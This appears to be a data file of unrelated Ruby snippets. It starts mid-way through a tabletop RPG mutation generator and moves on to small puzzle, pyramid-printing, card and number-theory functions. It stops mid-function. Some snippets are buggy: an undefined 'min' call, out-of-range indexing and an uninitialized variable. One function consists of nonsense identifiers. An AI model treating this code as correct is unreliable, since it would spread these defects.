8..10\\n poison_bite_type = \\\"Sleep\\\"\\n end\\n\\n @@primary_mutations << \\\"Poison Blood: #{poison_bite_type} venom, #{poison_bite_strength} strength. Any creature biting mutant poisoned.\\\"\\n\\n end\\n\\n poison_blood_mutation(d(100),d(10))\\n\\n when 761..767\\n paralysis_tendrils = d(6)\\n @@primary_mutations << \\\"Paralysis Tendrils: #{paralysis_tendrils} 3m length grow from mutant's chest\\\"\\n @@appearance = [@@appearance - (4 * paralysis_tendrils), 1].max\\n @@attacks << {:attack_mode => \\\"Paralysis Tendrils\\\", :SV => 10, :rate => 1, :range => 3, :damage => \\\"d12 stun, 2d20 vs machines\\\", :ammo => \\\"3/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"72\\\", :notes => \\\"#{paralysis_tendrils} tendrils, each capable of attack 3/day/rank.\\\"}\\n\\n\\n when 768..773\\n @@primary_mutations << \\\"Radiation Absorption: mutant immune to radioactivity, except for radioactive weapons, which do half damage.\\\"\\n when 774..780\\n @@primary_mutations << \\\"Radiation Detection: automatically senses the presence of radiation within a twenty meter radius, including those rare sources found in special radiation using robots, relic weapons and life forms.\\\"\\n when 781..786\\n @@primary_mutations << \\\"Radioactive Pulse\\\"\\n @@attacks << {:attack_mode => \\\"Radioactive Pulse\\\", :SV => 10, :rate => 1, :range => @@willpower, :damage => \\\"d20 plus radiation\\\", :ammo => \\\"1/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"72\\\", :notes => \\\"Victim makes type B endurance hazard check or suffer medium exposure; then type A hazard check or suffer strong exposure.\\\"}\\n when 787..794\\n @@primary_mutations << \\\"Reserve Heart: If character deemed to be killed by poison or electricity, or a critical hit which specifcally states a piercing of the heart, she will appear to be quite dead for 2d20+10 rounds. After this comatose period without a pulse or heartbeat, her back up heart will suddenly kick in and induce 2d10 endurance of healing, bringing the character slowly back to life.\\\"\\n when 795..802\\n @@primary_mutations << \\\"Reserve Mind: back-up brain takes over in case of brain damage, unconsciousness, insanity, or lethal damage. Hub Rules p. 72\\\"\\n when 803..809\\n @@primary_mutations << \\\"Scaled Skin\\\"\\n @@dv -= 8\\n @@appearance = [@@appearance - d(4), 1].max\\n @@character_notes << \\\"Scaled skin: immune to damage from sunburn, sand storms, insect bites, and topical irritants.\\\"\\n when 810..814\\n @@primary_mutations << \\\"Serpentine Body: +4 mv on land or swimming\\\"\\n @@dv -= 5\\n serpent_body_length = d(3) + 1\\n @@character_weight += (40 * serpent_body_length)\\n @@appearance = [@@appearance - (d(6) + 1), 1].max\\n @@movement_rate_base += 4\\n @@movement_rate_swimming += 4\\n @@character_notes << \\\"Unable to wear relic shell class armor\\\"\\n @@attacks << {:attack_mode => \\\"Serpentine Body Strike\\\", :SV => 0, :rate => 1, :range => serpent_body_length, :damage => \\\"d20 stun\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"72\\\", :notes => \\\"Constrict for d10 lethal dmg/rd after successful strike.\\\"}\\n\\n when 815..839\\n def shell_mutation(roll) # Hub Rules p. 73\\n case roll\\n when 1..4\\n shell_rating = \\\"Light\\\"\\n shell_defense_value = 10\\n shell_movement_penalty = 0.5\\n shell_appearance_penalty = (d(4) + 1)\\n shell_weight = 20\\n when 5..7\\n shell_rating = \\\"Medium\\\"\\n shell_defense_value = 20\\n shell_movement_penalty = 1\\n shell_appearance_penalty = (d(6) + 2)\\n shell_weight = 30\\n when 8..9\\n shell_rating = \\\"Heavy\\\"\\n shell_defense_value = 30\\n shell_movement_penalty = 1.5\\n shell_appearance_penalty = (d(6) + 4)\\n shell_weight = 40\\n when 10\\n shell_rating = \\\"Extra Heavy\\\"\\n shell_defense_value = 40\\n shell_movement_penalty = 2\\n shell_appearance_penalty = (d(6) + 6)\\n shell_weight = 50\\n end\\n @@primary_mutations << \\\"#{shell_rating} Shell: #{shell_defense_value} DV, -#{shell_movement_penalty} MV\\\"\\n @@appearance = [@@appearance - shell_appearance_penalty, 1].max\\n @@dv -= shell_defense_value\\n @@movement_rate_base -= shell_movement_penalty\\n @@character_weight += shell_weight\\n @@character_notes << \\\"Due to Shell mutation, punches, kicks, head-butts etc. deal 2d6 dmg instead of typical d6.\\\"\\n @@character_notes << \\\"Shell mutation: no relic armor OTHER than ballistic, riot, and bomb squad armor can be worn. Combat armor can be modified, d6+1 days.\\\"\\n end\\n\\n shell_mutation(d(10))\\n\\n when 840..849\\n def size_decrease_mutation(height)\\n case height\\n when 61..95\\n @@agility += (d(8) + d(8))\\n @@strength = [@@strength - d(10), 1].max\\n @@endurance = [@@endurance - (d(6) + d(6)), 1].max\\n 4.times @@skills << \\\"Stealth\\\"\\n when 66..90\\n @@agility += (d(6) + d(6))\\n @@strength = [@@strength - d(8), 1].max\\n @@endurance = [@@endurance - (d(4) + d(4)), 1].max\\n 3.times @@skills << \\\"Stealth\\\"\\n when 91..110\\n @@agility += (d(4) + d(4))\\n @@strength = [@@strength - d(6), 1].max\\n @@endurance = [@@endurance - d(6), 1].max\\n 2.times @@skills << \\\"Stealth\\\"\\n when 111..130\\n @@agility += d(6)\\n @@strength = [@@strength - d(4), 1].max\\n @@endurance = [@@endurance - d(4), 1].max\\n 2.times @@skills << \\\"Stealth\\\"\\n when 131..140\\n @@agility += d(6)\\n @@strength = [@@strength - d(3), 1].max\\n @@endurance = [@@endurance - 2, 1].max\\n @@skills << \\\"Stealth\\\"\\n when 141..159\\n @@agility += d(4)\\n @@skills << \\\"Stealth\\\"\\n when 160..199\\n @@agility += d(3)\\n @@skills << \\\"Stealth\\\"\\n end\\n end\\n\\n @@character_height -= d(100)\\n size_decrease_mutation(@@character_height)\\n @@primary_mutations << \\\"Size Decrease\\\"\\n when 850..860\\n @@primary_mutations << \\\"Size Increase\\\"\\n @@character_height += (d(100) + d(100) + d(100) + d(100))\\n\\n def size_increase_mutation(height) # Hub Rules p. 73\\n case height\\n when 164..184\\n @@strength += d(10)\\n @@endurance && @@character_weight += (d(10) + 5)\\n when 185..199\\n @@movement_rate_base += 0.25\\n @@strength += (d(10) + 5)\\n @@endurance && @@character_weight += (d(10) + 10)\\n when 200..250\\n @@movement_rate_base += 0.5\\n @@strength += (d(10) + 10)\\n @@endurance && @@character_weight += (d(20) + 15)\\n when 251..299\\n @@movement_rate_base += 0.75\\n @@strength += (d(20) + 15)\\n @@endurance && @@character_weight += (d(20) + 20)\\n when 300..350\\n @@movement_rate_base += 1\\n @@strength += (d(20) + 20)\\n @@endurance && @@character_weight += (d(20) + 30)\\n when 351..399\\n @@movement_rate_base += 1.25\\n @@strength += (d(20) + 30)\\n @@endurance && @@character_weight += (d(20) + 40)\\n when 400..425\\n @@movement_rate_base += 1.5\\n @@strength += (d(20) + 40)\\n @@endurance && @@character_weight += (d(20) + 50)\\n when 426..450\\n @@movement_rate_base += 1.75\\n @@strength += (d(20) + 50)\\n @@endurance && @@character_weight += (d(20) + 60)\\n when 451..475\\n @@movement_rate_base += 2\\n @@strength += (d(20) + 60)\\n @@endurance && @@character_weight += (d(20) + 75)\\n when 476..499\\n @@movement_rate_base += 3\\n @@strength += (d(20) + 75)\\n @@endurance && @@character_weight += (d(20) + 88)\\n when 500..525\\n @@movement_rate_base += 4\\n @@strength += (d(20) + 88)\\n @@endurance && @@character_weight += (d(20) + 100)\\n when 526..560\\n @@movement_rate_base += 5\\n @@strength += (d(20) + 100)\\n @@endurance && @@character_weight += (d(20) + 130)\\n when 561..580\\n @@movement_rate_base += 6\\n @@strength += (d(20) + 130)\\n @@endurance && @@character_weight += (d(20) + 160)\\n end\\n end\\n\\n size_increase_mutation(@@character_height)\\n\\n when 861..869\\n def sonic_wave_radius_mutation(willpower) # Hub Rules p. 73\\n case willpower\\n when 1..9\\n attack_radius = 1\\n damage = \\\"d4\\\"\\n deafness_duration = \\\"1 minute\\\"\\n when 10..23\\n attack_radius = 2\\n damage = \\\"d6\\\"\\n deafness_duration = \\\"5 minutes\\\"\\n when 24..34\\n attack_radius = 4\\n damage = \\\"d8\\\"\\n deafness_duration = \\\"10 minutes\\\"\\n when 35..60\\n attack_radius = 5\\n damage = \\\"d10\\\"\\n deafness_duration = \\\"30 minutes\\\"\\n when 61..70\\n attack_radius = 7\\n damage = \\\"d12\\\"\\n deafness_duration = \\\"1 hour\\\"\\n when 71..80\\n attack_radius = 9\\n damage = \\\"d20\\\"\\n deafness_duration = \\\"2d4 hours\\\"\\n when 81..90\\n attack_radius = 15\\n damage = \\\"d20 + 5\\\"\\n deafness_duration = \\\"3d6 hours\\\"\\n when 91..100\\n attack_radius = 20\\n damage = \\\"d20 + 10\\\"\\n deafness_duration = \\\"d6 days\\\"\\n when 101..110\\n attack_radius = 25\\n damage = \\\"d20 + 15\\\"\\n deafness_duration = \\\"2d4 days\\\"\\n when 111..120\\n attack_radius = 30\\n damage = \\\"d20 + 20\\\"\\n deafness_duration = \\\"3d6 days\\\"\\n when 121..130\\n attack_radius = 40\\n damage = \\\"d20 + 30\\\"\\n deafness_duration = \\\"3d6 + 10 days\\\"\\n when 131..140\\n attack_radius = 50\\n damage = \\\"d20 + 40\\\"\\n deafness_duration = \\\"3d6 + 20 days\\\"\\n when 141..150\\n attack_radius = 60\\n damage = \\\"d20 + 50\\\"\\n deafness_duration = \\\"3d6 + 30 days\\\"\\n end\\n\\n @@primary_mutations << \\\"Sonic Wave Radius: 2/day/rank, #{attack_radius} radius, #{damage} damage, #{deafness_duration} deafness.\\\"\\n @@attacks << {:attack_mode => \\\"Sonic Wave Radius\\\", :SV => 100, :rate => 1, :range => attack_radius, :damage => damage, :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"73\\\", :notes => \\\"#{deafness_duration} deafness\\\"}\\n end\\n\\n sonic_wave_radius_mutation(@@willpower)\\n\\n\\n when 870..876\\n @@primary_mutations << \\\"Spines: #{d(10) + 10} cm length, + d6 dmg to punch/kick\\\"\\n @@dv -= (d(20) + 10)\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@character_notes << \\\"Unable to wear relic armor unless spines are sawed off monthly.\\\"\\n when 877..880\\n @@primary_mutations << \\\"Sprint: 2/day/rank, duration 2d10 + rank rounds. -20DV (-20SV with misslie weapons) while sprinting OR double melee attack rate.\\\"\\n when 881..886\\n def stalked_eyes_mutation(roll)\\n case roll\\n when 1..67\\n eye_stalks = (d(4) + 1)\\n @@primary_mutations << \\\"Stalked eyes: mutant has #{eye_stalks} #{(d(20) + 10)} cm long instead of typical eyes.\\\"\\n when 68..100\\n eye_stalks = (d(3) + 1)\\n @@primary_mutations << \\\"Stalked eyes: mutant has #{eye_stalks} #{(d(20) + 10)} cm long in addition to typical eyes.\\\"\\n end\\n\\n @@dv -= (eye_stalks * 3)\\n @@initiative += 2\\n @@appearance = [@@appearance - (eye_stalks * d(6)), 1].max\\n end\\n\\n stalked_eyes_mutation(d(100))\\n\\n when 887..892\\n def stench_spray_location(roll) # Hub Rules p. 74\\n case roll\\n when 1..2\\n location = \\\"Groin\\\"\\n when 3..4\\n location = \\\"Stomach\\\"\\n when 5..6\\n location = \\\"Chest\\\"\\n when 7\\n location = \\\"Left armpit\\\"\\n when 8\\n location = \\\"Right armpit\\\"\\n when 9\\n location = \\\"Back\\\"\\n when 10\\n location = \\\"Butt\\\"\\n end\\n\\n stench_spray_app = (6 + d(6))\\n @@primary_mutations << \\\"Stench Spray: #{20 + d(20) + d(20)} cm organ located on character's #{location}\\\"\\n @@attacks << {:attack_mode => \\\"Stench Spray\\\", :SV => 10, :rate => 1, :range => (@@strength / 2), :damage => \\\"Special\\\", :ammo => \\\"2/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"74\\\", :notes => \\\"Endurance-based type B hazard check or d6 + 1 rds vomiting, +30SV to strike, -30SV to attack others.\\\"}\\n @@character_notes << \\\"Character's appearance -#{stench_spray_app} penalty after stench organ seen.\\\"\\n\\n end\\n\\n stench_spray_location(d(10))\\n\\n when 893..901\\n @@primary_mutations << \\\"Strength Burst: 2/rank/day, 4 rds/rank duration, character's strength 4x regular amount. Contributes to strength-based hazard checks, melee damage, etc.\\\"\\n when 902..909\\n def stun_ray_launcher(roll)\\n case roll\\n when 1..17\\n stun_location = \\\"eyes\\\"\\n when 18..59\\n stun_location = \\\"left hand\\\"\\n when 60..101\\n stun_location = \\\"right hand\\\"\\n end\\n\\n @@primary_mutations << \\\"Stun Ray fired from #{stun_location}.\\\"\\n @@attacks << {:attack_mode => \\\"Stun Ray\\\", :SV => 10, :rate => 1, :range => (@@willpower * 2), :damage => \\\"2d20 stun, x2 vs machines\\\", :ammo => \\\"3/day/rank\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"74\\\", :notes => \\\"Stun damage fades after 1 hour.\\\"}\\n end\\n\\n stun_ray_launcher(d(101))\\n\\n when 910..924\\n def tail_mutation(roll) # Hub Rules p. 74\\n case roll\\n when 1..2\\n tail_type = \\\"Club\\\"\\n tail_length = 1.5\\n tail_agility_bonus = d(4)\\n tail_move = -1\\n tail_sv = 6\\n tail_attack_dmg = \\\"d12 + 2 lethal or stun\\\"\\n when 3\\n tail_type = \\\"Crocodile\\\"\\n tail_length = 1.7\\n tail_agility_bonus = d(8)\\n tail_move = -1\\n tail_move_water = 4\\n tail_sv = 5\\n tail_attack_dmg = \\\"d12 stun\\\"\\n when 4\\n tail_type = \\\"Dolphin\\\"\\n tail_length = 1.5\\n tail_agility_bonus = d(6)\\n tail_move = -1\\n tail_move_water = 6\\n tail_sv = 4\\n tail_attack_dmg = \\\"d12 stun\\\"\\n when 5\\n tail_type = \\\"Eagle\\\"\\n tail_length = 1\\n tail_agility_bonus = d(6)\\n tail_move = 1\\n tail_sv = 0\\n tail_attack_dmg = nil\\n when 6\\n tail_type = \\\"Fish\\\"\\n tail_length = 1.3\\n tail_agility_bonus = d(6)\\n tail_move = -1\\n tail_move_water = 5\\n tail_sv = 4\\n tail_attack_dmg = \\\"d10 stun\\\"\\n when 7\\n tail_type = \\\"Fox\\\"\\n tail_length = 1.25\\n tail_agility_bonus = (d(6) + d(6))\\n tail_move = 1.5\\n tail_sv = 0\\n tail_attack_dmg = nil\\n when 8\\n tail_type = \\\"Cat\\\"\\n tail_length = 1.5\\n tail_agility_bonus = (d(8) + d(8))\\n tail_move = 2\\n tail_sv = 0\\n tail_attack_dmg = nil\\n when 9\\n tail_type = \\\"Whip\\\"\\n tail_length = (3 + d(4))\\n tail_agility_bonus = d(6)\\n tail_move = -0.25\\n tail_sv = 4\\n tail_attack_dmg = \\\"d8\\\"\\n @@character_notes << \\\"Whip tail can be used as #{tail_length} rope.\\\"\\n when 10..13\\n tail_type = \\\"Prehensile (monkey)\\\"\\n tail_length = 3\\n tail_agility_bonus = (d(4) + d(4))\\n tail_move = 1\\n tail_sv = 0\\n tail_attack_dmg = nil\\n @@character_notes << \\\"Prehensile tail can wield dagger or knife for additional melee attack.\\\"\\n when 14\\n tail_type = \\\"Newt\\\"\\n tail_length = 1.5\\n tail_agility_bonus = d(8)\\n tail_move = -1\\n tail_move_water = 4\\n tail_sv = 3\\n tail_attack_dmg = \\\"d10 stun\\\"\\n when 15\\n tail_type = \\\"Porcupine\\\"\\n tail_length = 0.75\\n tail_agility_bonus = 0\\n tail_move = -1\\n tail_sv = 5\\n tail_attack_dmg = \\\"d12 + 1\\\"\\n when 16..17\\n tail_type = \\\"Rat\\\"\\n tail_length = 1.8\\n tail_agility_bonus = d(6)\\n tail_move = 0.5\\n tail_sv = 0\\n tail_attack_dmg = nil\\n @@character_notes << \\\"Rat tail can wield dagger or knife for additional melee attack.\\\"\\n when 18\\n tail_type = \\\"Scorpion\\\"\\n tail_length = 2\\n tail_agility_bonus = d(6)\\n tail_move = -1\\n tail_sv = 8\\n tail_attack_dmg = \\\"d12 + Type A poison\\\"\\n when 19\\n tail_type = \\\"Spiked\\\"\\n tail_length = 1.75\\n tail_agility_bonus = d(6)\\n tail_move = -1\\n tail_sv = 7\\n tail_attack_dmg = \\\"d12 + 3\\\"\\n when 20\\n tail_type = \\\"Bladed\\\"\\n tail_length = 2\\n tail_agility_bonus = d(6)\\n tail_move = -1\\n tail_sv = 7\\n tail_attack_dmg = \\\"d20\\\"\\n end\\n\\n @@primary_mutations << \\\"Tailed: #{tail_type} tail of #{tail_length} m length.\\\"\\n @@appearance += tail_agility_bonus\\n @@movement_rate_base += tail_move\\n @@movement_rate_swimming += tail_move_water\\n if tail_attack_dmg != nil\\n @@attacks << {:attack_mode => \\\"#{tail_type} tail strike\\\", :SV => tail_sv, :rate => 1, :range => tail_length, :damage => \\\"#{tail_attack_dmg}\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"74\\\", :notes => \\\"\\\"}\\n end\\n end\\n\\n tail_mutation(d(20))\\n\\n when 925..936\\n @@primary_mutations << \\\"Telekinesis\\\"\\n when 937..961\\n @@primary_mutations << \\\"Telepathy\\\"\\n when 962..967\\n def tentacle_mutation(roll)\\n case roll\\n when 1..28\\n number_of_tentacles = (d(4) + d(4) + 2)\\n @@primary_mutations << \\\"Tentacles: Mutant has #{number_of_tentacles} instead of arms.\\\"\\n when 29..100\\n number_of_tentacles = (d(4) + d(4))\\n @@primary_mutations << \\\"Tentacles: Mutant has #{number_of_tentacles} in addition to arms.\\\"\\n end\\n\\n @@appearance = [@@appearance - (number_of_tentacles * 2), 1].max\\n 2.times @@skills << \\\"Climbing\\\"\\n @@character_notes << \\\"Tentacles add #{number_of_tentacles * 0.5} m to character's climbing & swimming move rates.\\\"\\n @@character_notes << \\\"Tentacles can wield simple melee weapons but lack the dexterity needed to operate a keyboard, stringed, or triggered weapon.\\\"\\n @@attacks << {:attack_mode => \\\"Tentacle strike\\\", :SV => 5, :rate => number_of_tentacles, :range => 0, :damage => \\\"d8 stun\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"75\\\", :notes => \\\"Tentacles gain unarmed combat modifiers, too.\\\"}\\n end\\n\\n tentacle_mutation(d(100))\\n\\n when 968..975\\n @@primary_mutations << \\\"Throwing Quills: fire 1/rd, up to 20/day\\\"\\n @@dv -= 18\\n @@character_notes << \\\"Due to quills, mutant cannot wear relic armor (except specially-designed junk or scrap relic armor)\\\"\\n @@appearance = [@@appearance - (d(4) + d(4)), 1].max\\n @@attacks << {:attack_mode => \\\"Throwing Quill\\\", :SV => 6, :rate => 1, :range => (@@strength / 2), :damage => \\\"d10\\\", :ammo => \\\"20/day\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"76\\\", :notes => \\\"incl. strength and wpn expert skill modifiers\\\"}\\n\\n when 976..982\\n def thrust_spike_mutation(roll)\\n case roll\\n when 1\\n poison = \\\"type A death poison\\\"\\n when 2..10\\n poison = \\\"None\\\"\\n end\\n thrust_spike_length = (d(4) + d(4))\\n @@primary_mutations << \\\"Thrust Spike #{thrust_spike_length} long.\\\"\\n @@character_notes << \\\"After seeing thrust spike mutant's appearance score reduced for witness by d1- + 10.\\\" #obvious typo here\\n if poison == \\\"None\\\"\\n @@attacks << {:attack_mode => \\\"Thrust Spike\\\", :SV => 0, :rate => 1, :range => thrust_spike_length, :damage => \\\"d20\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"76\\\", :notes => \\\"+30SV, 2d20 + 10 damage on first attack.\\\"}\\n elsif poison != \\\"None\\\"\\n @@attacks << {:attack_mode => \\\"Thrust Spike\\\", :SV => 0, :rate => 1, :range => thrust_spike_length, :damage => \\\"d20\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"76\\\", :notes => \\\"+30SV, 2d20 + 10 damage on first attack. Also: #{poison}\\\"}\\n end\\n end\\n\\n thrust_spike_mutation(d(10))\\n\\n\\n when 983..986\\n @@primary_mutations << \\\"Tusks\\\"\\n @@attacks << {:attack_mode => \\\"Tusk bite\\\", :SV => 6, :rate => 1, :range => 0, :damage => \\\"2d8 + 2\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"76\\\", :notes => \\\"Additional melee attack/rd.\\\"}\\n @@appearance = [@@appearance - (d(8) + 2), 1].max\\n when 987..992\\n @@primary_mutations << \\\"Webbed Hands: character nearly impossible to drown & can hold breath 2x normal. Double swim speed.\\\"\\n @@movement_rate_swimming += @@movement_rate_swimming\\n\\n when 993..1000\\n def wings_mutation(roll1,roll2) # Hub Rules p. 76\\n case roll1\\n when 1\\n wing_type = \\\"Bird\\\"\\n air_speed += 6\\n @@character_notes << \\\"Bird wings are fragile - this character suffers double damage from fire and burst radius explosives like grenades and bombs.\\\"\\n when 2\\n wing_type = \\\"Insect\\\"\\n air_speed += 3\\n @@character_notes << \\\"Due to insect wings, character has -2 MV in enclosed spaces.\\\"\\n when 3..6\\n wing_type = \\\"Bat\\\"\\n end\\n\\n case roll2\\n when 1\\n wing_size = \\\"Tiny\\\"\\n flight_mode = \\\"Glide only\\\"\\n air_speed += (d(6) + 10)\\n flying_dv = -5\\n wing_attack_dmg = nil\\n wing_weight = 6\\n when 2\\n wing_size = \\\"Small\\\"\\n flight_mode = \\\"Flies poorly\\\"\\n air_speed += (d(6) + 12)\\n flying_dv = -10\\n wing_attack_dmg = \\\"d4 stun\\\"\\n wing_weight = 12\\n when 3..4\\n wing_size = \\\"Medium\\\"\\n flight_mode = \\\"Flies normally\\\"\\n air_speed += (d(6) + 15)\\n flying_dv = -14\\n wing_attack_dmg = \\\"d6 stun\\\"\\n wing_weight = 20\\n when 5\\n wing_size = \\\"Large\\\"\\n flight_mode = \\\"Flies normally\\\"\\n air_speed += (d(6) + 20)\\n flying_dv = -20\\n wing_attack_dmg = \\\"d8 stun\\\"\\n wing_weight = 30\\n when 6\\n wing_size = \\\"Vast\\\"\\n flight_mode = \\\"Flies excellently\\\"\\n air_speed += (d(10) + 25)\\n flying_dv = -25\\n wing_attack_dmg = \\\"d10 stun\\\"\\n wing_weight = 40\\n end\\n\\n @@primary_mutations << \\\"Wings: #{wing_size} #{wing_type} wings. Mutant #{flight_mode} at #{air_speed} MV and #{flying_dv} DV when airborne.\\\"\\n @@movement_rate_flying += air_speed\\n\\n if wing_attack_dmg != nil\\n @@attacks << {:attack_mode => \\\"Wing bash\\\", :SV => 0, :rate => 2, :range => 0, :damage => \\\"#{wing_attack_dmg}\\\", :ammo => \\\"infinite\\\", :skill_pts => 0, :skill_SV_bonus => 0, :skill_damage_bonus => 0, :ref => \\\"76\\\", :notes => \\\"\\\"}\\n end\\n\\n @@character_notes << \\\"Character able to fly at full air speed with full gear, arms, and armor. See Hub Rules p. 76 for more.\\\"\\n @@character_notes << \\\"Due to wings, standard and relic armor must be modified and fitted to this character.\\\"\\n\\n\\n end\\n\\n wings_mutation(d(6),d(6))\\n\\n end\\nend\",\n \"def champagne_tower(gp, qr, qc)\\n pyramid = []\\n (1..qr + 1).each do |i|\\n pyramid << Array.new(i, 0)\\n end\\n pyramid[0][0] = gp\\n (0..qr + 1).each do |r|\\n (0..r + 1).each do |c|\\n q = (pyramid[r][c] - 1.0) / 2.0\\n if q > 0\\n pyramid[r + 1][c] += q\\n pyramid[r + 1][c + 1] += q\\n end\\n end\\n end\\n return min(1, pyramid[qr][qc])\\nend\",\n \"def full_pyramide\\n\\tputs \\\"*\\\" * 50\\n\\tputs\\\"Salut, Bienvenue dans ma pyramide\\\"\\n\\tputs \\\"Nous allons construire une pyramide au temps d'Egypte\\\"\\n\\tputs \\\"VCombien d'etage veux-tu?\\\"\\n\\tprint \\\"||>\\\"\\n\\n\\tetage = gets.chomp.to_i\\n\\tbase = etage + (etage-1)\\n\\tbase1 = (base-1)/2 + 1\\n i = 1\\n \\n\\tetage.times do \\n\\n\\t\\tbase1.times do\\n\\t\\t\\tprint \\\" \\\"\\n\\t\\tend\\n\\n\\t\\ti.times do\\n\\t\\t\\tprint \\\"#\\\"\\n\\t\\tend\\n\\n\\t\\ti+= 2\\n\\t\\tbase1 -= 1\\n\\t\\tputs \\\" \\\"\\n\\tend\\n\\t\\nend\",\n \"def cracklepop1\\n def aux x\\n /[A-Z]+/i.match(x.to_s).to_s\\n end\\n (1..100).map do |i|\\n x = i%3==0 ? 'crackle' : i\\n i%5==0 ? (aux(x)+'pop') : x\\n end\\nend\",\n \"def get_adjective\\n\\t\\t[\\\"pretty\\\", \\\"ugly\\\", \\\"hideous\\\"].sample\\n\\tend\",\n \"def draw_letters\\n compact_bag = {\\n \\\"A\\\" => 9,\\n \\\"B\\\" => 2, \\n \\\"C\\\" => 2, \\n \\\"D\\\" => 4, \\n \\\"E\\\" => 12, \\n \\\"F\\\" => 2, \\n \\\"G\\\" => 3, \\n \\\"H\\\" => 2, \\n \\\"I\\\" => 9,\\n \\\"J\\\" => 1, \\n \\\"K\\\" => 1, \\n \\\"L\\\" => 4,\\n \\\"M\\\" => 2,\\n \\\"N\\\" => 6,\\n \\\"O\\\" => 8,\\n \\\"P\\\" => 2, \\n \\\"Q\\\" => 1, \\n \\\"R\\\" => 6,\\n \\\"S\\\" => 4, \\n \\\"T\\\" => 6,\\n \\\"U\\\" => 4,\\n \\\"V\\\" => 2,\\n \\\"W\\\" => 2,\\n \\\"X\\\" => 1, \\n \\\"Y\\\" => 2, \\n \\\"Z\\\" => 1\\n }\\n expanded_bag = []\\n compact_bag.each do |letters, number|\\n number.times do \\n expanded_bag << letters\\n end\\n end \\n\\n random = []\\n\\n 10.times do \\n x = rand expanded_bag.length\\n while random.include? x\\n x = rand expanded_bag.length\\n end\\n random << x\\n end\\n\\n hand = random.map {|number| expanded_bag[number]}\\nend\",\n \"def pronouncable_random(size=4)\\n c = %w(b c d f g h j k l m n p qu r s t v w x z ch cr fr nd ng nk nt ph pr rd sh sl sp st th tr)\\n v = %w(a e i o u y)\\n f, r = true, ''\\n (size * 2).times do\\n r << (f ? c[rand * c.size] : v[rand * v.size])\\n f = !f\\n end\\n return r\\nend\",\n \"def alg; end\",\n \"def hole6\\n [?A,*(?2..'10'),?J,?K,?Q].product([?C,?H,?S,?D]).map(&:join) + [?J,?J]\\n # put your implementation in here, but please leave the comments above and at the 'end'\\n\\n end\",\n \"def modified_cornacchia(d, p)\\r\\n\\t\\t# Case p == 2\\r\\n\\t\\tif 2 == p\\r\\n\\t\\t\\treturn nil unless q = (d + 8).square?\\r\\n\\t\\t\\treturn q, 1\\r\\n\\t\\tend\\r\\n\\r\\n\\t\\t# Test if residue\\r\\n\\t\\treturn nil if -1 == kronecker_symbol(d, p)\\r\\n\\r\\n\\t\\t# Compute square root\\r\\n\\t\\tx0 = mod_sqrt(d, p)\\r\\n\\t\\tx0 = p - x0 if 0 != x0 - d % 2\\r\\n\\r\\n\\t\\ta = p << 1\\r\\n\\t\\tb = x0\\r\\n\\t\\tl = isqrt(p << 2)\\r\\n\\r\\n\\t\\t# Euclidean algorithm\\r\\n\\t\\ta, b = b, a % b while b < l\\r\\n\\r\\n\\t\\t# Test solution\\r\\n\\t\\tc, r = (4 * p - b**2).divmod(-d)\\r\\n\\t\\treturn nil if 0 != r\\r\\n\\t\\treturn nil unless q = c.square?\\r\\n\\t\\treturn b, q\\r\\n\\tend\",\n \"def full_pyramide\\n\\tputs \\\"salut!bienvenue dans ma super pyramide!combien d'etage veux-tu?\\\"\\n\\ti=1 #1 zany n anombohan le i\\n\\tprint \\\">\\\"\\n\\tn= gets.chomp.to_i #n correspond le nbre de ligne de la pyramide\\n\\tputs\\\"voici la pyramide\\\"\\n\\tx=n #nbre de depart anle espace\\n\\tspace=\\\" \\\" #mamaritra n espace\\n\\twhile i<=n do #tant que i est inferieur ou egal n fait\\n\\tputs ((space * x)+(\\\"#\\\" * (i*2-1))) #rehefa te hahazo chiffre impaire de (i*2-1)\\n\\tx-=1\\n\\ti+=1\\n\\tend\\nend\",\n \"def draw_card\\n @dwanted.each_with_index{|w,i|\\n if w && (@dpile[i][-1] > (@land[i][-1]||0))\\n @dpile[i].pop\\n return [S.index(i)].pack(\\\"C\\\")\\n end\\n }\\n @deckcount-=1\\n \\\"n\\\"\\n end\",\n \"def pirates_say_arrrrrrrrr(string)\\n new_string = \\\"\\\"\\n add_next = false\\n string.size.times do |index|\\n current_char = string[index]\\n new_string << current_char if add_next #if add next has been set true in previous loop, it will add the current character\\n add_next = (current_char == \\\"r\\\" || current_char == \\\"R\\\") #will set the value of add_next var to true or false\\n end\\n new_string\\nend\",\n \"def play_like_a_dummy\\r\\n # very brutal algorithm , always play the first card\\r\\n card = @cards_on_hand.pop\\r\\n return card\\r\\n end\",\n \"def remanet(concupiscibleness, torve_resack)\\n seeker(bloomery, crumbcloth_lacepod, inspirant_inalterably)\\n antispadix_provencalize(galactophthysis, saintlike)\\n japheth(auresca, squamatine, vitalist_pheal)\\n end\",\n \"def pythag_two()\\n\\ta = 1\\n\\tb = 2\\n\\tc = 1\\n\\tlist = []\\n\\tdora_will_be_a_good_doctor = []\\n\\twhile a <= 1000\\n\\t\\tb = 1\\n\\t\\twhile b <= 1000\\n\\t\\t\\ttemp_c = a**2 + b**2\\n\\t\\t\\t# dora_will_be_a_good_doctor << [a**2,b**2,temp_c]\\n\\t\\t\\t# p \\\"#{a},#{b},#{temp_c**0.5}\\\"\\n\\t\\t\\tif 